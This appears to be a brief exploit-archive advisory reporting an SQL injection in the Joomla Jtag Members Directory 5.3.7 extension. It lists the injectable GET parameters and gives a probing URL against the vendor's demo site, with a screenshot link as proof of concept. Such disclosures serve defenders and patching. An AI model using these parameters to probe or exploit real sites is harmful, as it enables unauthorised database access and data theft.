Joomla Jtag Members Directory 5.3.7 SQL Injection Vulnerability

################################################
#Title: Joomla Jtag Members Directory 5.3.7 - SQL injection
#Credit: Bilal KARDADOU
#Vendor: https://joomlatag.com
#URL:
https://extensions.joomla.org/extensions/extension/clients-a-communities/members-lists/jtag-members-directory/
#Product: 'Joomla Jtag Members Directory 5.3.7'
#Developer: JoomlaTag
#Last updated: Jun 19 2017
#Compatibility: 3.X
#Type: Paid download
################################################
#
#  Description:
# JTag Member Directory extension helps in the management of user profiles
with the ability to publish member information in a simple searchable
directory.
# This extension is great for Non-profits, clubs, local chapters or Board
member websites.
#
# GET -p [customtext]
#        [name]
#        [country]
#        [state]
#        [city]
#        [phone_no]
#
#
http://demos.joomlatag.com/jtag-membersdirectory/index.php?option=com_jtagmembersdirectory&format=raw&customtext=&name=dean
"&country=&state=&city=&phone_no=
#
# PoC:
#  https://prnt.sc/hu107i
#
# Bilal KARDADOU - https://www.linkedin.com/in/kardadou/)
################################################

#  0day.today [2018-04-02]  #